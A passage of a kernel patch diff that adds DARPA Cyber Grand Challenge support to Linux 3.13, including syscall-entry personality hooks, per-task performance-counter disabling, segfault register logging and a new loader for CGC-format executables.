| jnz sysenter_audit 77 | sysenter_do_call: 78 | +#ifdef CONFIG_CGCOS_COMPAT 79 | +# now check for alternate personality or force syscall through exec_domain 80 | + pushl %eax 81 | + call cgcos_get_personality 82 | + cmpb $0x41, %al #cgcos personality 83 | + popl %eax 84 | + jnz default_sysenter 85 | + pushl %esp #don't screw around with cgcos_exec_domain, just call the syscall handler 86 | + pushl $-1 87 | + call cgcos_sysenter 88 | + addl $8, %esp 89 | + jmp sysenter_after_call 90 | +default_sysenter: 91 | +#endif /* CONFIG_CGCOS_COMPAT */ 92 | cmpl $(NR_syscalls), %eax 93 | jae sysenter_badsys 94 | call *sys_call_table(,%eax,4) 95 | @@ -510,9 +524,27 @@ ENTRY(system_call) 96 | # system call tracing in operation / emulation 97 | testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags(%ebp) 98 | jnz syscall_trace_entry 99 | + 100 | +# now check for alternate personality or force syscall through exec_domain 101 | +syscall_call: 102 | +#ifdef CONFIG_CGCOS_COMPAT 103 | + pushl %eax 104 | + call cgcos_get_personality 105 | + cmpb $0x41, %al #cgcos personality 106 | + popl %eax 107 | +# movl PT_EAX(%esp), %eax 108 | + jnz default_syscall 109 | + pushl %esp #don't screw around with cgcos_exec_domain, just call the syscall handler 110 | + pushl $-1 111 | + call cgcos_syscall 112 | + addl $8, %esp 113 | + jmp syscall_exit 114 | +default_syscall: 115 | +#endif /* CONFIG_CGCOS_COMPAT */ 116 | + 117 | cmpl $(NR_syscalls), %eax 118 | jae syscall_badsys 119 | -syscall_call: 120 | +#syscall_call: 121 | call *sys_call_table(,%eax,4) 122 | syscall_after_call: 123 | movl %eax,PT_EAX(%esp) # store the return value 124 | diff --git a/3.13.0-77.121/arch/x86/kernel/process.c b/3.13.11-ckt32-cgc/arch/x86/kernel/process.c 125 | index c5db2a4..6b263f7 100644 126 | --- a/3.13.0-77.121/arch/x86/kernel/process.c 127 | +++ b/3.13.11-ckt32-cgc/arch/x86/kernel/process.c 128 | @@ -194,6 +194,28 @@ int set_tsc_mode(unsigned int val) 129 | return 0; 130 | } 131 | 132 | +static void 133 | +hard_enable_PCE(void) { 134 | + write_cr4(read_cr4() | X86_CR4_PCE); 135 | +} 136 | + 137 | +static void 138 | +hard_disable_PCE(void) { 139 | + write_cr4(read_cr4() & ~X86_CR4_PCE); 140 | +} 141 | + 142 | +void 143 | +disable_PCE(void) { 144 | + preempt_disable(); 145 | + if (!test_and_set_thread_flag(TIF_NOPCE)) 146 | + /* 147 | + * Must flip the CPU state synchronously with 148 | + * TIF_NOTSC in the current running context. 149 | + */ 150 | + hard_disable_PCE(); 151 | + preempt_enable(); 152 | +} 153 | + 154 | void __switch_to_xtra(struct task_struct *prev_p, struct task_struct *next_p, 155 | struct tss_struct *tss) 156 | { 157 | @@ -222,6 +244,15 @@ void __switch_to_xtra(struct task_struct *prev_p, struct task_struct *next_p, 158 | hard_enable_TSC(); 159 | } 160 | 161 | + if (test_tsk_thread_flag(prev_p, TIF_NOPCE) ^ 162 | + test_tsk_thread_flag(next_p, TIF_NOPCE)) { 163 | + /* prev and next are different */ 164 | + if (test_tsk_thread_flag(next_p, TIF_NOPCE)) 165 | + hard_disable_PCE(); 166 | + else 167 | + hard_enable_PCE(); 168 | + } 169 | + 170 | if (test_tsk_thread_flag(next_p, TIF_IO_BITMAP)) { 171 | /* 172 | * Copy the relevant range of the IO bitmap. 173 | diff --git a/3.13.0-77.121/arch/x86/mm/fault.c b/3.13.11-ckt32-cgc/arch/x86/mm/fault.c 174 | index 7e14055..24205df 100644 175 | --- a/3.13.0-77.121/arch/x86/mm/fault.c 176 | +++ b/3.13.11-ckt32-cgc/arch/x86/mm/fault.c 177 | @@ -735,6 +735,12 @@ show_signal_msg(struct pt_regs *regs, unsigned long error_code, 178 | print_vma_addr(KERN_CONT " in ", regs->ip); 179 | 180 | printk(KERN_CONT "\n"); 181 | + 182 | + printk("%s%s[%d]: segfault ax %lx bx %lx cx %lx dx %lx di %lx si %lx bp %lx sp %lx\n", 183 | + task_pid_nr(tsk) > 1 ? KERN_INFO : KERN_EMERG, 184 | + tsk->comm, task_pid_nr(tsk), 185 | + regs->ax, regs->bx, regs->cx, regs->dx, 186 | + regs->di, regs->si, regs->bp, regs->sp); 187 | } 188 | 189 | static void 190 | diff --git a/3.13.0-77.121/fs/Makefile b/3.13.11-ckt32-cgc/fs/Makefile 191 | index 9506dd7..7ac763b 100644 192 | --- a/3.13.0-77.121/fs/Makefile 193 | +++ b/3.13.11-ckt32-cgc/fs/Makefile 194 | @@ -36,6 +36,7 @@ obj-$(CONFIG_BINFMT_EM86) += binfmt_em86.o 195 | obj-$(CONFIG_BINFMT_MISC) += binfmt_misc.o 196 | obj-$(CONFIG_BINFMT_SCRIPT) += binfmt_script.o 197 | obj-$(CONFIG_BINFMT_ELF) += binfmt_elf.o 198 | +obj-$(CONFIG_CGCOS_COMPAT) += binfmt_cgc.o 199 | obj-$(CONFIG_COMPAT_BINFMT_ELF) += compat_binfmt_elf.o 200 | obj-$(CONFIG_BINFMT_ELF_FDPIC) += binfmt_elf_fdpic.o 201 | obj-$(CONFIG_BINFMT_SOM) += binfmt_som.o 202 | diff --git a/3.13.11-ckt32-cgc/fs/binfmt_cgc.c b/3.13.11-ckt32-cgc/fs/binfmt_cgc.c 203 | new file mode 100644 204 | index 0000000..debb16b 205 | --- /dev/null 206 | +++ b/3.13.11-ckt32-cgc/fs/binfmt_cgc.c 207 | @@ -0,0 +1,1900 @@ 208 | +/* 209 | + * linux/fs/binfmt_cgc.c 210 | + * Copyright (c) 2014 Jason L. Wright (jason@thought.net) 211 | + * 212 | + * Functions/module to load binaries targetting the DARPA Cyber Grand Challenge. 213 | + * CGCOS binaries most thoroughly resemble static ELF binaries, thus this 214 | + * code is derived from: 215 | + * 216 | + * linux/fs/binfmt_elf.c 217 | + * 218 | + * These are the functions used to load ELF format executables as used 219 | + * on SVr4 machines. Information on the format may be found in the book 220 | + * "UNIX SYSTEM V RELEASE 4 Programmers Guide: Ansi C and Programming Support 221 | + * Tools". 222 | + * 223 | + * Copyright 1993, 1994: Eric Youngdale (ericy@cais.com). 224 | + */ 225 | + 226 | +#include 227 | +#include 228 | +#include 229 | +#include 230 | +#include 231 | +#include 232 | +#include 233 | +#include 234 | +#include 235 | +#include 236 | +#include 237 | +#include 238 | +#include 239 | +#include 240 | +#include 241 | +#include 242 | +#include 243 | +#include 244 | +#include 245 | +#include 246 | +#include 247 | +#include 248 | +#include 249 | +#include 250 | +#include 251 | +#include 252 | +#include 253 | +#include 254 | +#include 255 | +#include 256 | +#include 257 | +#include 258 | +#include 259 | + 260 | +#ifndef user_long_t 261 | +#define user_long_t long 262 | +#endif 263 | +#ifndef user_siginfo_t 264 | +#define user_siginfo_t siginfo_t 265 | +#endif 266 | + 267 | +#ifndef PR_REG_SIZE 268 | +#define PR_REG_SIZE(S) sizeof(S) 269 | +#endif 270 | + 271 | +#ifndef PRSTATUS_SIZE 272 | +#define PRSTATUS_SIZE(S) sizeof(S) 273 | +#endif 274 | + 275 | +#ifndef PR_REG_PTR 276 | +#define PR_REG_PTR(S) (&((S)->pr_reg)) 277 | +#endif 278 | + 279 | +#ifndef SET_PR_FPVALID 280 | +#define SET_PR_FPVALID(S, V) ((S)->pr_fpvalid = (V)) 281 | +#endif 282 | + 283 | +#if 0 284 | +#define DEBUG_CGC 285 | +#endif 286 | + 287 | +#define CGC_MAGIC_PAGE 0x4347c000 288 | +#define CGC_MIN_PAGE_SIZE 4096 289 | +#define CGC_MIN_ALIGN CGC_MIN_PAGE_SIZE 290 | + 291 | +#define CGC_PAGESTART(_v) ((_v) & ~(unsigned long)(CGC_MIN_ALIGN-1)) 292 | +#define CGC_PAGEOFFSET(_v) ((_v) & (CGC_MIN_ALIGN-1)) 293 | +#define CGC_PAGEALIGN(_v) (((_v) + CGC_MIN_ALIGN - 1) & ~(CGC_MIN_ALIGN - 1)) 294 | + 295 | +struct cgc_params { 296 | + int skip_rng; 297 | +}; 298 | + 299 | +static int load_cgcos_binary(struct linux_binprm *); 300 | +static int cgc_core_dump(struct coredump_params *); 301 | +static int cgc_parse_args(struct linux_binprm *, struct cgc_params *); 302 | +static int cgc_parse_arg(struct linux_binprm *, const char *, struct cgc_params *); 303 | + 304 | +static int flag_relaxed_headers __read_mostly = 0; 305 | + 306 | +/* The CGC Executable File Header */ 307 | +#define CI_NIDENT 16 308 | +typedef struct CGC32_hdr { 309 | + uint8_t ci_mag0; /* 0x7f */ 310 | + uint8_t ci_mag1; /* 'C' */ 311 | + uint8_t ci_mag2; /* 'G' */ 312 | + uint8_t ci_mag3; /* 'C' */ 313 | + uint8_t ci_class; /* 1 */ 314 | + uint8_t ci_data; /* 1 */ 315 | + uint8_t ci_version; /* 1 */ 316 | + uint8_t ci_osabi; /* 'C' */ 317 | + uint8_t ci_abivers; /* 1 */ 318 | + uint8_t ci_pad[7]; 319 | + uint16_t c_type; /* Must be 2 for executable */ 320 | + uint16_t c_machine; /* Must be 3 for i386 */ 321 | + uint32_t c_version; /* Must be 1 */ 322 | + uint32_t c_entry; /* Entry point */ 323 | + uint32_t c_phoff; /* Program Header offset */ 324 | + uint32_t c_shoff; /* Section Header offset */ 325 | + uint32_t c_flags; /* Must be 0 */ 326 | + uint16_t c_ehsize; /* CGC header's size */ 327 | + uint16_t c_phentsize; /* Program header entry size */ 328 | + uint16_t c_phnum; /* # program header entries */ 329 | + uint16_t c_shentsize; /* Section header entry size */ 330 | + uint16_t c_shnum; /* # section header entries */ 331 | + uint16_t c_shstrndx; /* sect header # of str table */ 332 | +} CGC32_hdr; 333 | + 334 | +/* The CGC Executable Program Header */ 335 | +typedef struct CGC32_phdr { 336 | + uint32_t p_type; /* Section type */ 337 | +#define PT_NULL 0 /* Unused header */ 338 | +#define PT_LOAD 1 /* Segment is loaded into mem */ 339 | +#define PT_PHDR 6 /* Program header tbl itself */ 340 | +#define PT_CGCPOV2 0x6ccccccc /* CFE Type 2 PoV flag sect */ 341 | + uint32_t p_offset; /* Offset into the file */ 342 | + uint32_t p_vaddr; /* Virtial program address */ 343 | + uint32_t p_paddr; /* Set to zero */ 344 | + uint32_t p_filesz; /* Section bytes in the file */ 345 | + uint32_t p_memsz; /* Section bytes in memory */ 346 | + uint32_t p_flags; /* section flags */ 347 | +#define CPF_X (1<<0) /* Mapped executable */ 348 | +#define CPF_W (1<<1) /* Mapped writeable */ 349 | +#define CPF_R (1<<2) /* Mapped readable */ 350 | + /* Acceptable flag combinations are: 351 | + * CPF_R 352 | + * CPF_R|CPF_W 353 | + * CPF_R|CPF_X 354 | + * CPF_R|CPF_W|CPF_X 355 | + */ 356 | + 357 | + uint32_t p_align; /* Bytes at which to align the 358 | + * section in memory. 359 | + * 0 or 1: no alignment 360 | + * 4: 32bit alignment 361 | + * 4096: page alignment 362 | + */ 363 | +} CGC32_Phdr; 364 | + 365 | +static struct linux_binfmt cgcos_format = { 366 | + .module = THIS_MODULE, 367 | + .load_binary = load_cgcos_binary, 368 | + .load_shlib = NULL, 369 | + .core_dump = cgc_core_dump, 370 | + .min_coredump = PAGE_SIZE, 371 | +}; 372 | + 373 | +#define BAD_ADDR(x) ((unsigned long)(x) >= TASK_SIZE) 374 | + 375 | +static unsigned long cgc_map(struct file *, struct CGC32_phdr *, int, int); 376 | +static int set_brk(unsigned long, unsigned long); 377 | +static int padzero(unsigned long); 378 | +static unsigned long vma_dump_size(struct vm_area_struct *, unsigned long); 379 | + 380 | +struct memelfnote { 381 | + const char *name; 382 | + int type; 383 | + unsigned int datasz; 384 | + void *data; 385 | +}; 386 | + 387 | +struct elf_note_info { 388 | + struct elf_thread_core_info *thread; 389 | + struct memelfnote psinfo; 390 | + struct memelfnote signote; 391 | + struct memelfnote auxv; 392 | + struct memelfnote files; 393 | + user_siginfo_t csigdata; 394 | + size_t size; 395 | + int thread_notes; 396 | +}; 397 | + 398 | +struct elf_thread_core_info { 399 | + struct elf_thread_core_info *next; 400 | + struct task_struct *task; 401 | + struct elf_prstatus prstatus; 402 | + struct memelfnote notes[0]; 403 | +}; 404 | + 405 | +static int fill_note_info(struct elfhdr *, int, struct elf_note_info *, 406 | + const siginfo_t *, struct pt_regs *); 407 | +static size_t get_note_info_size(struct elf_note_info *); 408 | +static int write_note_info(struct elf_note_info *, struct coredump_params *); 409 | +static int writenote(struct memelfnote *, struct coredump_params *); 410 | +static void fill_elf_note_phdr(struct elf_phdr *, int, loff_t); 411 | +static void fill_note(struct memelfnote *, const char *, int, 412 | + unsigned int, void *); 413 | +static void fill_elf_header(struct elfhdr *, int, u16, u32); 414 | +static int fill_thread_core_info(struct elf_thread_core_info *, 415 | + const struct user_regset_view *, 416 | + long, size_t *); 417 | +static void fill_prstatus(struct elf_prstatus *, struct task_struct *, long); 418 | +static int notesize(struct memelfnote *); 419 | +static int fill_psinfo(struct elf_prpsinfo *, struct task_struct *, 420 | + struct mm_struct *); 421 | +static void fill_auxv_note(struct memelfnote *, struct mm_struct *); 422 | +static void fill_siginfo_note(struct memelfnote *, user_siginfo_t *, 423 | + const siginfo_t *); 424 | +static void do_thread_regset_writeback(struct task_struct *, 425 | + const struct user_regset *); 426 | +static int fill_files_note(struct memelfnote *); 427 | +static void free_note_info(struct elf_note_info *); 428 | + 429 | +static int 430 | +load_cgcos_binary(struct linux_binprm *bprm) { 431 | + struct CGC32_hdr hdr; 432 | + int ret = -ENOEXEC, i; 433 | + struct CGC32_phdr *phdrs = NULL; 434 | + unsigned long start_code, end_code, start_data, end_data; 435 | + unsigned int sz; 436 | + struct pt_regs *regs = current_pt_regs(); 437 | + unsigned long bss, brk; 438 | + struct cgc_params pars; 439 | + 440 | + memset(&pars, 0, sizeof(pars)); 441 | + 442 | + if (sizeof(hdr) > BINPRM_BUF_SIZE) { 443 | + ret = kernel_read(bprm->file, 0, (char *)&hdr, sizeof(hdr)); 444 | + if (ret != sizeof(hdr)) { 445 | + if (ret >= 0) 446 | + ret = -EIO; 447 | + goto out; 448 | + } 449 | + } else 450 | + memcpy(&hdr, bprm->buf, sizeof(hdr)); 451 | + 452 | + if (hdr.ci_mag0 != 0x7f || 453 | + hdr.ci_mag1 != 'C' || 454 | + hdr.ci_mag2 != 'G' || 455 | + hdr.ci_mag3 != 'C' || 456 | + hdr.ci_class != 1 || 457 | + hdr.ci_data != 1 || 458 | + hdr.ci_version != 1 || 459 | + hdr.ci_osabi != 'C' || 460 | + hdr.ci_abivers != 1 || 461 | + hdr.c_type != 2 || 462 | + hdr.c_machine != 3 || 463 | + hdr.c_version != 1 || 464 | + hdr.c_flags != 0 || 465 | + hdr.c_phentsize != sizeof(struct CGC32_phdr) || 466 | + hdr.c_phnum < 1 || 467 | + hdr.c_phnum > 65536U / sizeof(struct CGC32_phdr)) 468 | + goto out; 469 | + 470 | + if (!bprm->file->f_op->mmap) 471 | + goto out; 472 | + 473 | + sz = hdr.c_phnum * sizeof(struct CGC32_phdr); 474 | + phdrs = kmalloc(sz, GFP_KERNEL); 475 | + if (!phdrs) { 476 | + ret = -ENOMEM; 477 | + goto out; 478 | + } 479 | + 480 | + ret = kernel_read(bprm->file, hdr.c_phoff, (char *)phdrs, sz); 481 | + if (ret != sz) { 482 | + if (ret >= 0) 483 | + ret = -EIO; 484 | + goto out; 485 | + } 486 | + 487 | + current->cgc_max_transmit = 0; 488 | + current->cgc_max_receive = 0; 489 | + 490 | + /* need to parse the arguments */ 491 | + if ((ret = cgc_parse_args(bprm, &pars)) != 0) 492 | + goto out; 493 | + 494 | + if ((ret = flush_old_exec(bprm)) != 0) 495 | + goto out; 496 | + 497 | + /* point of no return */ 498 | + current->mm->def_flags = 0; 499 | + 500 | + current->personality = PER_CGCOS; 501 | + 502 | + { 503 | + struct rlimit new_rlim = { 8 * 1024 * 1024, 504 | + 8 * 1024 * 1024 }; 505 | + do_prlimit(current, RLIMIT_STACK, &new_rlim, NULL); 506 | + } 507 | + 508 | + setup_new_exec(bprm); 509 | + 510 | + if ((ret = setup_arg_pages(bprm, 0xbaaab000, EXSTACK_ENABLE_X)) < 0) 511 | + goto out_kill; 512 | + 513 | + current->mm->start_stack = bprm->p; 514 | + 515 | + current->signal->maxrss = 0; 516 | + current->min_flt = current->signal->min_flt = 0; 517 | + 518 | + bss = brk = 0; 519 | + start_code = ~0UL; 520 | + end_code = start_data = end_data = 0; 521 | + 522 | + for (i = 0; i < hdr.c_phnum; i++) { 523 | + struct CGC32_phdr *phdr = &phdrs[i]; 524 | + int prot, flags; 525 | + unsigned long k; 526 | + 527 | + switch (phdr->p_type) { 528 | + case PT_NULL: 529 | + case PT_LOAD: 530 | + case PT_PHDR: 531 | + case PT_CGCPOV2: 532 | + break; 533 | + default: 534 | + printk(KERN_INFO "invalid phdr->p_type 0x%x\n", 535 | + phdr->p_type); 536 | + ret = -ENOEXEC; 537 | + if (unlikely(flag_relaxed_headers)) 538 | + continue; 539 | + else 540 | + goto out_kill; 541 | + } 542 | + 543 | + if (phdr->p_type != PT_LOAD || 544 | + phdr->p_memsz == 0) 545 | + continue; 546 | + 547 | + prot = 0; 548 | + if (phdr->p_flags & CPF_R) 549 | + prot |= PROT_READ; 550 | + else { 551 | + ret = -EINVAL; 552 | + goto out_kill; 553 | + } 554 | + 555 | + if (phdr->p_flags & CPF_W) 556 | + prot |= PROT_WRITE; 557 | + if (phdr->p_flags & CPF_X) 558 | + prot |= PROT_EXEC; 559 | + 560 | + flags = MAP_PRIVATE | MAP_DENYWRITE | MAP_FIXED; 561 | + 562 | + if (phdr->p_vaddr < start_code) 563 | + start_code = phdr->p_vaddr; 564 | + if (start_data < phdr->p_vaddr) 565 | + start_data = phdr->p_vaddr; 566 | + 567 | + /* 568 | + * Check to see if the section's size will overflow the 569 | + * allowed task size. Note that p_filesz must always be 570 | + * <= p_memsz so it is only necessary to check p_memsz. 571 | + */ 572 | + if (BAD_ADDR(phdr->p_vaddr) || 573 | + phdr->p_filesz > phdr->p_memsz || 574 | + phdr->p_memsz > TASK_SIZE || 575 | + TASK_SIZE - phdr->p_memsz < phdr->p_vaddr) { 576 | + /* set_brk can never work. avoid overflows. */ 577 | + ret = -EINVAL; 578 | + goto out_kill; 579 | + } 580 | + 581 | + k = cgc_map(bprm->file, phdr, prot, flags); 582 | + if (BAD_ADDR(k)) { 583 | + ret = IS_ERR((void *)k) ? PTR_ERR((void *)k) : -EINVAL; 584 | + goto out_kill; 585 | + } 586 | + 587 | + k = phdr->p_vaddr + phdr->p_filesz; 588 | + if (k > bss) 589 | + bss = k; 590 | + if ((phdr->p_flags & CPF_X) && end_code < k) 591 | + end_code = k; 592 | + if (end_data < k) 593 | + end_data = k; 594 | + 595 | + k = phdr->p_vaddr + phdr->p_memsz; 596 | + if (k > brk) 597 | + brk = k; 598 | + } 599 | + 600 | + /* We deal with zero'd regions in cgc_map() */ 601 | + bss = brk; 602 | + 603 | + /* Calling set_brk effectively mmaps the pages that we need 604 | + * for the bss and break sections. 605 | + */ 606 | + ret = set_brk(bss, brk); 607 | + if (ret) { 608 | + send_sig(SIGKILL, current, 0); 609 | + goto out; 610 | + } 611 | + if (likely(bss != brk) && unlikely(padzero(bss))) { 612 | + send_sig(SIGSEGV, current, 0); 613 | + ret = -EFAULT; /* Nobody gets to see this, but.. */ 614 | + goto out; 615 | + } 616 | + 617 | + if (BAD_ADDR(hdr.c_entry)) { 618 | + force_sig(SIGSEGV, current); 619 | + ret = -EINVAL; 620 | + goto out; 621 | + } 622 | + 623 | + set_binfmt(&cgcos_format); 624 | + install_exec_creds(bprm); 625 | + 626 | + /* N.B. passed_fileno might not be initialized? */ 627 | + current->mm->arg_end = current->mm->arg_start; 628 | + current->mm->end_code = end_code; 629 | + current->mm->start_code = start_code; 630 | + current->mm->start_data = start_data; 631 | + current->mm->end_data = end_data; 632 | + current->mm->start_stack = bprm->p; 633 | + 634 | + { 635 | + int cpu = get_cpu(); 636 | + 637 | + for (i = 0; i < GDT_ENTRY_TLS_ENTRIES; i++) { 638 | + current->thread.tls_array[i].a = 0; 639 | + current->thread.tls_array[i].b = 0; 640 | + } 641 | + load_TLS(¤t->thread, cpu); 642 | + put_cpu(); 643 | + } 644 | + 645 | +#ifdef ELF_PLAT_INIT 646 | + /* 647 | + * The ABI may specify that certain registers be set up in special 648 | + * ways (on i386 %edx is the address of a DT_FINI function, for 649 | + * example. In addition, it may also specify (eg, PowerPC64 ELF) 650 | + * that the e_entry field is the address of the function descriptor 651 | + * for the startup routine, rather than the address of the startup 652 | + * routine itself. This macro performs whatever initialization to 653 | + * the regs structure is required as well as any relocations to the 654 | + * function descriptor entries when executing dynamically links apps. 655 | + */ 656 | + ELF_PLAT_INIT(regs, reloc_func_desc); 657 | +#endif 658 | + 659 | + disable_TSC(); 660 | + disable_PCE(); 661 | + 662 | + { 663 | + unsigned long addr, i, v; 664 | + struct vm_area_struct *vma; 665 | + 666 | + ret = 0; 667 | + down_read(¤t->mm->mmap_sem); 668 | + vma = find_vma(current->mm, CGC_MAGIC_PAGE); 669 | + if (vma != NULL && vma->vm_start <= CGC_MAGIC_PAGE) 670 | + ret = -EFAULT; 671 | + up_read(¤t->mm->mmap_sem); 672 | + if (ret != 0) 673 | + goto out_kill; 674 | + 675 | + addr = vm_mmap(NULL, CGC_MAGIC_PAGE, PAGE_SIZE, 676 | + PROT_READ | PROT_WRITE, 677 | + MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE | 678 | + MAP_FIXED, 679 | + 0); 680 | + if (BAD_ADDR(addr)) { 681 | + ret = -EFAULT; 682 | + goto out_kill; 683 | + } 684 | + 685 | + for (i = 0; i < PAGE_SIZE; i += sizeof(v)) { 686 | + if (current->cgc_rng) { 687 | + ret = crypto_rng_get_bytes(current->cgc_rng, 688 | + (u8 *)&v, sizeof(v)); 689 | + if (ret < 0) 690 | + goto out_kill; 691 | + } else 692 | + get_random_bytes(&v, sizeof(v)); 693 | + 694 | + if (copy_to_user((void __user *)(addr + i), 695 | + &v, sizeof(v))) { 696 | + ret = -EFAULT; 697 | + goto out_kill; 698 | + } 699 | + } 700 | + 701 | + /* page finally becomes R/O in image of binary */ 702 | + down_write(¤t->mm->mmap_sem); 703 | + vma = find_vma(current->mm, addr); 704 | + vma->vm_flags &= ~(VM_WRITE | VM_MAYWRITE | VM_MAYEXEC); 705 | + vma->vm_page_prot = pgprot_modify(vma->vm_page_prot, 706 | + vm_get_page_prot(VM_READ)); 707 | + change_protection(vma, addr, addr + PAGE_SIZE, 708 | + vma->vm_page_prot, 0, 0); 709 | + up_write(¤t->mm->mmap_sem); 710 | + regs->cx = CGC_MAGIC_PAGE; 711 | + 712 | + while (pars.skip_rng) { 713 | + u8 rnd; 714 | + 715 | + if (current->cgc_rng) { 716 | + ret = crypto_rng_get_bytes(current->cgc_rng, 717 | + &rnd, sizeof(rnd)); 718 | + if (ret < 0) 719 | + return (ret); 720 | + } else { 721 | + /* there's really no point in this... */ 722 | + get_random_bytes(&rnd, sizeof(rnd)); 723 | + } 724 | + pars.skip_rng -= sizeof(rnd); 725 | + } 726 | + } 727 | + 728 | + flush_signal_handlers(current, 1); 729 | + current->sighand->action[SIGPIPE-1].sa.sa_handler = SIG_IGN; 730 | + set_dumpable(current->mm, SUID_DUMP_USER); 731 | + 732 | + start_thread(regs, hdr.c_entry, bprm->p); 733 | + set_user_gs(regs, __USER_DS); 734 | + regs->fs = __USER_DS; 735 | + ret = 0; 736 | +out: 737 | + if (phdrs) 738 | + kfree(phdrs); 739 | + 740 | + return (ret); 741 | + 742 | +out_kill: 743 | + send_sig(SIGKILL, current, 0); 744 | + goto out; 745 | +} 746 | + 747 | +static int 748 | +cgc_parse_args(struct linux_binprm *bprm, struct cgc_params *pars) { 749 | + int i, err = 0; 750 | + 751 | + for (i = 1; i < bprm->argc; i++) { 752 | + const char __user *arg; 753 | + char *str; 754 | + int len; 755 | + 756 | + if (get_user(arg, bprm->argv + i)) 757 | + return (-EFAULT); 758 | + 759 | + len = strnlen_user(arg, MAX_ARG_STRLEN); 760 | + if (len == 0) 761 | + return (-EFAULT); 762 | + if (len > MAX_ARG_STRLEN) 763 | + return (-E2BIG); 764 | + 765 | + str = kmalloc(len + 1, GFP_KERNEL); 766 | + if (!str) 767 | + return (-ENOMEM); 768 | + 769 | + if (copy_from_user(str, arg, len)) { 770 | + kfree(str); 771 | + return (-EFAULT); 772 | + } 773 | + 774 | + str[len] = '\0'; 775 | + err = cgc_parse_arg(bprm, str, pars); 776 | + kfree(str); 777 | + if (err) 778 | + break; 779 | + } 780 | + 781 | + return (err); 782 | +} 783 | + 784 | +static int 785 | +cgc_parse_arg(struct linux_binprm *bprm, const char *arg, 786 | + struct cgc_params *pars) { 787 | + const char seed_name[] = "seed=", schedule_name[] = "sched=", 788 | + skiprng_name[] = "skiprng=", max_transmit_name[] = "max_transmit=", 789 | + max_receive_name[] = "max_receive="; 790 | + 791 | + /* sched=policy,priority */ 792 | + if (strncmp(arg, schedule_name, strlen(schedule_name)) == 0) { 793 | + int args[3]; 794 | + char *rs; 795 | + struct sched_param par; 796 | + 797 | + memset(&par, 0, sizeof(par)); 798 | + rs = get_options(arg + strlen(schedule_name), 799 | + sizeof(args)/sizeof(args[0]), args); 800 | + 801 | + if (*rs != '\0' || args[0] != 2) 802 | + return (-EINVAL); 803 | + par.sched_priority = args[2]; 804 | + return sched_setscheduler_nocheck(current, args[1], &par); 805 | + } 806 | + 807 | + if (strncmp(arg, seed_name, strlen(seed_name)) == 0) { 808 | + /* create per process rng and seed it */ 809 | + unsigned char *seed = NULL; 810 | + int seedlen = strlen(arg) - strlen(seed_name); 811 | + int ret = 0; 812 | + 813 | + if (seedlen & 1) { 814 | + ret = -EINVAL; 815 | + goto out_seed; 816 | + } 817 | + 818 | + seedlen /= 2; 819 | + seed = kmalloc(seedlen, GFP_KERNEL); 820 | + if (seed == NULL) { 821 | + ret = -ENOMEM; 822 | + goto out_seed; 823 | + } 824 | + 825 | + if (hex2bin(seed, arg + strlen(seed_name), seedlen)) { 826 | + ret = -EINVAL; 827 | + goto out_seed; 828 | + } 829 | + 830 | + current->cgc_rng = crypto_alloc_rng("ansi_cprng", 0, 0); 831 | + if (current->cgc_rng == NULL) { 832 | + ret = -ENOMEM; 833 | + goto out_seed; 834 | + } 835 | + 836 | + ret = crypto_rng_reset(current->cgc_rng, seed, seedlen); 837 | + if (ret >= 0) 838 | + ret = 0; 839 | + 840 | +out_seed: 841 | + kfree(seed); 842 | + return (ret); 843 | + } 844 | + 845 | + /* skiprng=nbytes */ 846 | + if (strncmp(arg, skiprng_name, strlen(skiprng_name)) == 0) { 847 | + int args[2]; 848 | + char *rs; 849 | + 850 | + rs = get_options(arg + strlen(skiprng_name), 851 | + sizeof(args)/sizeof(args[0]), args); 852 | + 853 | + if (*rs != '\0' || args[0] != 1 || args[1] < 0) 854 | + return (-EINVAL); 855 | + pars->skip_rng = args[1]; 856 | + return (0); 857 | + } 858 | + 859 | + /* max_receive=bytes */ 860 | + if (strncmp(arg, max_receive_name, strlen(max_receive_name)) == 0) { 861 | + int args[2]; 862 | + char *rs; 863 | + 864 | + rs = get_options(arg + strlen(max_receive_name), 865 | + sizeof(args)/sizeof(args[0]), args); 866 | + 867 | + if (*rs != '\0' || args[0] != 1 || args[1] < 0) 868 | + return (-EINVAL); 869 | + current->cgc_max_receive = args[1]; 870 | + return (0); 871 | + } 872 | + 873 | + /* max_transmit=bytes */ 874 | + if (strncmp(arg, max_transmit_name, strlen(max_transmit_name)) == 0) { 875 | + int args[2]; 876 | + char *rs; 877 | + 878 | + rs = get_options(arg + strlen(max_transmit_name), 879 | + sizeof(args)/sizeof(args[0]), args); 880 | + 881 | + if (*rs != '\0' || args[0] != 1 || args[1] < 0) 882 | + return (-EINVAL); 883 | + 884 | + current->cgc_max_transmit = args[1]; 885 | + return (0); 886 | + } 887 | + 888 | + return (0); 889 | +} 890 | + 891 | +static int 892 | +set_brk(unsigned long start, unsigned long end) 893 | +{ 894 | + start = CGC_PAGEALIGN(start); 895 | + end = CGC_PAGEALIGN(end); 896 | + if (end > start) { 897 | + unsigned long addr; 898 | + addr = vm_brk(start, end - start); 899 | + if (BAD_ADDR(addr)) 900 | + return addr; 901 | + } 902 | + current->mm->start_brk = current->mm->brk = end; 903 | + return 0; 904 | +} 905 | + 906 | +static unsigned long 907 | +cgc_map(struct file *filep, struct CGC32_phdr *phdr, int prot, int type) { 908 | + unsigned long addr, zaddr; 909 | + unsigned long lo, hi; 910 | + 911 | + if (phdr->p_filesz == 0 && phdr->p_memsz == 0) 912 | + return 0; 913 | + if (phdr->p_filesz > 0) { 914 | + /* map in the part of the binary corresponding to filesz */ 915 | + addr = vm_mmap(filep, CGC_PAGESTART(phdr->p_vaddr), 916 | + CGC_PAGEALIGN(phdr->p_filesz + CGC_PAGEOFFSET(phdr->p_vaddr)), 917 | + prot, type, 918 | + CGC_PAGESTART(phdr->p_offset)); 919 | + if (BAD_ADDR(addr)) 920 | + return (addr); 921 | + lo = CGC_PAGEALIGN(phdr->p_vaddr + phdr->p_filesz); 922 | + hi = CGC_PAGEALIGN(phdr->p_vaddr + phdr->p_memsz); 923 | + } else { 924 | + // for 0 filesz, we have to include the first page as bss. 925 | + lo = CGC_PAGESTART(phdr->p_vaddr + phdr->p_filesz); 926 | + hi = CGC_PAGEALIGN(phdr->p_vaddr + phdr->p_memsz); 927 | + } 928 | + 929 | + /* map anon pages for the rest (no prefault) */ 930 | + if ((hi - lo) > 0) { 931 | + zaddr = vm_mmap(NULL, lo, hi - lo, 932 | + prot, type | MAP_ANONYMOUS, 0UL); 933 | + if (BAD_ADDR(zaddr)) 934 | + return (zaddr); 935 | + } 936 | + 937 | + lo = 